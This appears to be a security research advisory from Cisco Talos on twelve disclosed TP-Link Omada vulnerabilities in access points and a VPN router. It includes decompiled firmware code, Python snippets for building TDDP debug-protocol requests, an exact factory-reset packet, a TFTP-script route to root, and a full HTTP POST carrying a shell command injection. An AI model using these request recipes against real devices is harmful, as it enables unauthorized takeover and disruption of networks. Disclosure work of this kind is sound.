Headline
Multiple vulnerabilities in TP-Link Omada system could lead to root access
Affected devices could include wireless access points, routers, switches and VPNs.
Wednesday, June 26, 2024 12:00
- The TP-Link Omada system is a software-defined networking solution for small to medium-sized businesses. It touts cloud-managed devices and local management for all Omada devices.
- The supported devices in this ecosystem vary greatly but include wireless access points, routers, switches, VPN devices and hardware controllers for the Omada software.
- Cisco Talos researchers have discovered and helped to patch several vulnerabilities in the Omada system, focusing on a small subset of the available devices, including the EAP 115 and EAP 225 wireless access points, the ER7206 gigabit VPN router, and the Omada software controller.
- Twelve unique vulnerabilities were identified and reported to the vendor following our responsible disclosure policy.
Talos ID
CVE(s)
TALOS-2023-1888
CVE-2023-49906-CVE-2023-49913
TALOS-2023-1864
CVE-2023-48724
TALOS-2023-1862
CVE-2023-49133-CVE-2023-49134
TALOS-2023-1861
CVE-2023-49074
TALOS-2023-1859
CVE-2023-47618
TALOS-2023-1858
CVE-2023-47617
TALOS-2023-1857
CVE-2023-46683
TALOS-2023-1856
CVE-2023-42664
TALOS-2023-1855
CVE-2023-47167
TALOS-2023-1854
CVE-2023-47209
TALOS-2023-1853
CVE-2023-36498
TALOS-2023-1850
CVE-2023-43482
Vulnerability overview****TALOS-2023-1888
A stack-based buffer overflow vulnerability exists in the web interface Radio Scheduling functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of HTTP requests can lead to remote code execution.
TALOS-2023-1864
A memory corruption vulnerability exists in the web interface functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted HTTP POST request can lead to denial of service of the device’s web interface.
TALOS-2023-1862
A command execution vulnerability exists in the tddpd enable_test_mode functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926 and TP-Link N300 Wireless Access Point (EAP115 V4) v5.0.4, build 20220216. A specially crafted series of network requests can lead to arbitrary command execution. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.
TALOS-2023-1861
A denial-of-service vulnerability exists in the TDDP functionality of the TP-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0, build 20220926. A specially crafted series of network requests could allow an adversary to reset the device back to its factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.
TALOS-2023-1859
A post-authentication command execution vulnerability exists in the web filtering functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.
TALOS-2023-1858
A post-authentication command injection vulnerability exists when configuring the web group member of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection
TALOS-2023-1857
A post-authentication command injection vulnerability exists when configuring the WireGuard VPN functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1856
A post-authentication command injection vulnerability exists when setting up the PPTP global configuration of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1855
A post-authentication command injection vulnerability exists in the GRE policy functionality of TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1854
A post-authentication command injection vulnerability exists in the IPsec policy functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection.
TALOS-2023-1853
A post-authentication command injection vulnerability exists in the PPTP client functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0, build 20230322, Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection, and allow an adversary to gain access to an unrestricted shell.
TALOS-2023-1850
A command execution vulnerability exists in the guest resource functionality of the TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command execution.
Vulnerability highlights****TDDP on wireless access points
TDDP is the TP-Link Device Debug Protocol available on many TP-Link devices. This service running on UDP 1040 is only open during the first 15 minutes of a device’s runtime. This is effectively a mechanism to enable users to have a device serviced remotely without having to activate and deactivate a service manually. This service is exposed any time the device restarts for exactly 15 minutes. During this time, various functions on the device are exposed, which are listed later in this post. Most of this functionality seems to be directly related to factory testing.
Building a request
TDDP request messages consist of a header of size 0x1C followed by a data field only used by select commands. This header generally follows the format laid out in the structure below:
struct tddp_header {
uint8_t version,
uint8_t type,
uint8_t code,
uint8_t direction,
uint32_t pay_len,
uint16_t pkt_id,
uint8_t sub_type,
uint8_t reserved,
uint8_t[0x10] digest,
}
Version
Only two versions of the TDDP service currently appear to be implemented on the target devices: 0x01 and 0x02. Of these, version 0x02 is the only one that contains any functionality of note.
00407778 int32_t tddpPktInterfaceFunction(int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg4)
...
00407878 if (arg1 != 0 && arg1 != 0)
0040791c memset(0x42f780, 0, 0x14000)
0040797c uint32_t $tddp_version = zx.d(*arg1)
00407994 int32_t len
00407994 if ($tddp_version == 1)
00407b1c len = tddp_versionOneOpt(arg1, 0x42f780)
...
004079a8 if ($tddp_version == 2)
004079bc if (arg4 s< 0x1c)
004079e0 len_1 = printf("[TDDP_ERROR]<error>[%s:%d] inval…", "tddpPktInterfaceFunction", 0x292)
00407a18 else
00407a18 inet_ntop(2, &arg_8, &var_24, 0x10)
00407a38 if (g_some_string_copying_routine(&var_24) == 0)
00407af4 len = tddp_versionTwoOpt(ggg_tppd_req_buf_p: arg1, &data_42f780, arg4)
00407a48 else
...
00407d04 return len_1
In our target devices, only one request within version 0x01 was supported: tddp_sysInit. This request seemed to have little effect on the running device.
0040849c int32_t tddp_versionOneOpt(void* arg1, int32_t arg2)
…
004084b8 int32_t var_14 = 0
004084bc int32_t var_18 = 0
004084d8 int32_t var_10
004084d8 if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
004084fc printf("[TDDP_ERROR]<error>[%s:%d] Invla…", "tddp_versionOneOpt", 0x35f)
0040850c var_10 = 0xffffffff
004084d8 if (arg1 != 0 && arg2 != 0)
00408548 if (arg1 == 0 || (arg1 != 0 && arg2 == 0))
0040856c printf("[TDDP_ERROR]<error>[%s:%d] pTddp…", "tddp_versionOneOpt", 0x367)
0040857c var_10 = 0xffffffff
00408548 if (arg1 != 0 && arg2 != 0)
0040859c memcpy(arg2, arg1, 0xc)
004085c0 if (zx.d(*(arg1 + 1)) != 0xc)
00408698 printf("[TDDP_ERROR]<error>[%s:%d] Recei…", "tddp_versionOneOpt", 0x3cf)
004086a8 var_10 = 0xffffffff
004085e4 else
004085e4 printf("[TDDP_DEBUG]<debug>[%s:%d] Recei…", "tddp_versionOneOpt", 0x370)
00408600 tddp_sysInit(arg1, arg2)
0040863c uint32_t $v1_3 = zx.d(printf("[TDDP_DEBUG]<debug>[%s:%d] Send …", "tddp_versionOneOpt", 0x372))
00408670 var_10 = ntohl(*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_3))) + 0xc
004086b8 return var_10
Version 0x02, on the other hand, supports a variety of requests, documented later in this post.
004086c0 int32_t tddp_versionTwoOpt(int32_t arg1, void* arg2, int32_t arg3)
...
00408868 memset(arg1, 0, 0x14000)
00408888 memcpy(arg1, arg2, 0x1c)
0040889c uint32_t $v0_11 = zx.d(*(arg1 + 1))
004088b4 if ($v0_11 == 3)
004088f4 printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x407)
00408910 specialCmdOpt(arg2, arg1)
00408938 printf("[TDDP_DEBUG]<debug>[%s:%d] Speci…", "tddp_versionTwoOpt", 0x409)
004088c8 if ($v0_11 == 7)
0040895c puts("TDDP: enc_cmd. \r")
00408978 encCmdOpt(arg2, arg1)
00408994 puts("TDDP: enc_cmd over. \r")
...
004088c8 if ($v0_11 != 3 && $v0_11 != 7)
004089c4 printf("[TDDP_ERROR]<error>[%s:%d] Reciv…", "tddp_versionTwoOpt", 0x413)
004089d4 var_c = 0xffffffff
00408a04 return var_c
When either of these type values are selected, a corresponding sub_type value (documented below) must be supplied.
Payload length
The pay_lenSubtype field contains the number of bytes that make up the payload. This value is calculated after all necessary padding has been applied, but before the payload is encrypted.
Subtype
The sub_type in use depends on the type value is previously chosen. Sub_type breakouts for each supported types are listed later in this post. These mappings are specific to the targeted devices and may change from device to device.
The way sub_types are processed differently between the two major type requests. SPECIAL_CMD_OPT requests the sub_type value in this field. ENC_CMD_OPT requests ignore the sub_type field and instead expect the sub_type value to be supplied in the payload at byte offset 0x0A (offset 0x26 into the entire request).
00408a0c int32_t encCmdOpt(void* arg1, int32_t arg2)
...
00408b54 uint32_t $v0_12 = zx.d(*(arg1 + 0x26))
00408b6c if ($v0_12 == 0x47)
00408d58 printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x457)
00408d88 uint32_t $v1_11 = zx.d(tddp_getSoftVer(arg1 + 0x1c, arg2))
00408dc8 *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_11))) + 0xc)
00408dec $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get s…", "encCmdOpt", 0x45a)
00408bb0 else
00408bb0 if ($v0_12 == 0x48)
00408e1c printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x45e)
00408e4c uint32_t $v1_14 = zx.d(tddp_getModelName(arg1 + 0x1c, arg2))
00408e8c *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_14))) + 0xc)
00408eb0 $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get m…", "encCmdOpt", 0x461)
00408bc4 if ($v0_12 == 0x49)
00408bdc puts("TDDP: resetting. \r")
00408c0c uint32_t $v1_5 = zx.d(tddp_resetFactory(arg1 + 0x1c, arg2))
00408c4c *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_5))) + 0xc)
00408c64 $v0_2 = puts("TDDP: reset over. \r")
00408b94 if ($v0_12 == 0x46)
00408c94 printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x450)
00408cc4 uint32_t $v1_8 = zx.d(tddp_getHardVer(arg1 + 0x1c, arg2))
00408d04 *(arg2 + 4) = htonl((*(arg2 + 7) | (0xffff0000 & (*(arg2 + 4) << 0x10 | $v1_8))) + 0xc)
00408d28 $v0_2 = printf("[TDDP_DEBUG]<debug>[%s:%d] get h…", "encCmdOpt", 0x453)
00408bc4 if (($v0_12 s< 0x48 && $v0_12 != 0x46) || ($v0_12 s>= 0x48 && $v0_12 != 0x48 && $v0_12 != 0x49))
00408ed4 $v0_2 = puts("TDDP: Recive unknow enc_cmd, no …")
00408ee8 return $v0_2
Digest
Every TDDP request must contain an MD5 digest of the entire request, including the payload after it has been padded but before it has been encrypted. When calculating this value, the digest field must be filled with 0x10 null bytes. For example:
digest_req = b''
digest_req += struct.pack('B', self.version)
digest_req += struct.pack('B', self.type)
digest_req += struct.pack('B', self.code)
digest_req += struct.pack('B', self.direction)
digest_req += struct.pack('>L', self.pkt_len)
digest_req += struct.pack('>H', self.pkt_id)
digest_req += struct.pack('B', self.sub_type)
digest_req += struct.pack('B', self.reserved)
digest_req += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
digest_req += self.payload
digest = hashlib.md5(digest_req).digest()
Payload
For some requests to successfully execute, a payload is required. Regardless of the contents of the payload, it must first be padded with null bytes to an eight-byte boundary. Once padded, the payload must then be DES encrypted. For example:
base_key = ''
base_key += self.username
base_key += self.password
tddp_key = hashlib.md5(base_key.encode()).digest()[:8]
key = des(tddp_key, ECB)
tddp_data = key.encrypt(self.payload, padmode=PAD_PKCS5)
Unaddressed fields
A few more request fields that have not been explicitly called out here exist: code, direction, reserved, and pkt_id. These fields are necessary for a successful request but have values that have stayed static across our testing.
Vulnerability impact****Factory reset device (TALOS-2023-1861)
While enabled during startup, TDDP can be used to factory reset the device through a single ENC_CMD_OPT request, passing a subtype code of 0x49 via the payload field.
This type of request deviates from the typical usage of the payload field in that it does not get DES encrypted before being sent. Instead, it supplies the subtype code by placing it within the payload field at offset 0x0A while leaving every other byte null.
When properly formatted, this results in a payload field with the following contents:b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00
Combining this payload field with the remaining required fields gives a request with the following elements:
version
0x02
type
0x07
code
0x01
direction
0x00
pay_len
0x10
pkt_id
0x01
sub_type
<ignored>
reserved
0x00
digest
<dynamic>
payload
00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00
When a request is properly constructed and sent to a TP-Link EAP115 or EAP225 with the TDDP service listening, the device resets its configuration to the factory default and begins acting abnormally until the next power cycle when the default configuration takes full effect.
Gain root access (TALOS-2023-1862)
TDDP can also be used to indirectly obtain root access on certain devices through one of the exposed TDDP commands, enableTestMode. The exact purpose of this command is unclear, but when this test mode is enabled, the device sends a TFTP request to a predefined address (192.168.0.100) looking for a file named “test_mode_tp.sh,” which is subsequently executed. This sequence can be seen in the code snippet below:
int32_t api_wlan_enableTestMode() {
struct stat buf;
memset(&buf, 0, 0x98);
int32_t i;
do {
i = execFormatCmd("arping -I %s -c 1 192.168.0.100", "br0") // [1] Check for the existence of a system at 192.168.0.100
} while (i == 1);
execFormatCmd("tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh"); // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100
stat("/tmp/test_mode_tp.sh", &buf);
int32_t result = 1;
if (buf.st_size s> 0) { // [3] If the file was successfully fetched...
execFormatCmd("chmod +x /tmp/test_mode_tp.sh"); // [4] Mark the file as executable
execFormatCmd("/tmp/test_mode_tp.sh &"); // [5] and finally execute the shell script with root permissions
result = 0;
}
return result;
}
By assigning a host the address 192.168.0.100 and setting up a TFTP server serving the test_mode_tp.sh script on that host, the device can be forced to execute any command as the root user immediately after the enableTestMode TDDP request is sent.
Command injection vulnerabilities in VPN router
The cgi-bin functionality of the ER7206 Gigabit VPN Router is backed completely by compiled LUA scripts. Because these scripts don’t have a standard compilation format for Lua, reverse engineering can be difficult. For exact decompilation, the version of the original compiler is necessary. This complicates the analysis, but studying even the compiled code provided hints about implementation details and further guided our manual testing. A common vulnerability class that plagues similar software is command injection due to unsanitized input. We have exhaustively tested input fields in the user interface and have uncovered eight distinct command injection vulnerabilities, most in the user interface related to configuring VPN technologies (PPTP, GRE, Wireguard, IPSec). The presence of these was verified by testing for side effects of successful abuse of each vulnerability. While all identified vulnerabilities in this group require authentication before exploitation — which lowers their severity — they can be abused to acquire unrestricted shell access. This expands an attacker’s possible attack paths and can further aid in achieving persistence on the device.
Exploitation of a command injection vulnerability is straightforward. In the following example, the `name` field in JSON data is the target of command injection. No input filtering occurs while handling the data in this POST request, any shell metacharacters that are included in the POST body can be used to execute arbitrary commands within the authenticated context:
POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470
data={"method":"add","params":{"index":0,"old":"add","new":{"name":"DDDDL|`/usr/bin/id>/tmp/had`","strategy_type":"five_tuple","src_ipset":"/","dst_ipset":"/","mac":"","sport":"-","dport":"-","service_type":"TCP","zone":"LAN1","comment":"","enable":"on"},"key":"add"}}
TDDP type/Sub-type mappings****SPECIAL_CMD_OPT (0x03)
Command Name
`sub_type` value
SYS_INIT
0x0C
GET_MAC_ADDR_1
0x37
GET_MAC_ADDR_2
0x40
GET_MAC_ADDR_3
0x66
SET_MAC_ADDR
0x06
GET_REGION_1
0x20
GET_REGION_2
0x42
SET_REGION_1
0x1F
SET_REGION_2
0x43
GET_UPLINK_PORT_RATE
0x7A
GET_DEVICE_ID_1
0x35
GET_DEVICE_ID_2
0x65
SET_DEVICE_ID_1
0x36
SET_DEVICE_ID_2
0x64
GET_OEM_ID
0x3B
GET_PRODUCT_ID
0x0A
GET_HARDWARE_ID
0x39
GET_SIGNATURE
0x05
SET_SIGNATURE
0x0B
ENABLE_TEST_MODE_1
0x4B
ENABLE_TEST_MODE_2
0x4F
CANCEL_TEST_MODE
0x07
START_WLAN_CAL_APP
0x12
ERASE_WLAN_CAL_DATA_1
0x11
ERASE_WLAN_CAL_DATA_2
0x63
DISABLE_PRE_CAC
0x5A
DISABLE_DFS
0x5B
DISABLE_TXBF
0x79
SET_POE_OUT
0x50
TEST_GPIO
0x32
NO_WLAN_INIT
0x7D
SET_BANDWIDTH
0x4C
SET_CHANNEL
0x4D
ENC_CMD_OPT (0x07)
Command Name
`sub_type` value
GET_HARDWARE_VERSION
0x46
GET_SOFTWARE_VERSION
0x47
GET_MODEL_NAME
0x48
PERFORM_FACTORY_RESET
0x49
Related news
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.
There are also two out-of-bounds write vulnerabilities in the AMD Radeon user mode driver for DirectX 11.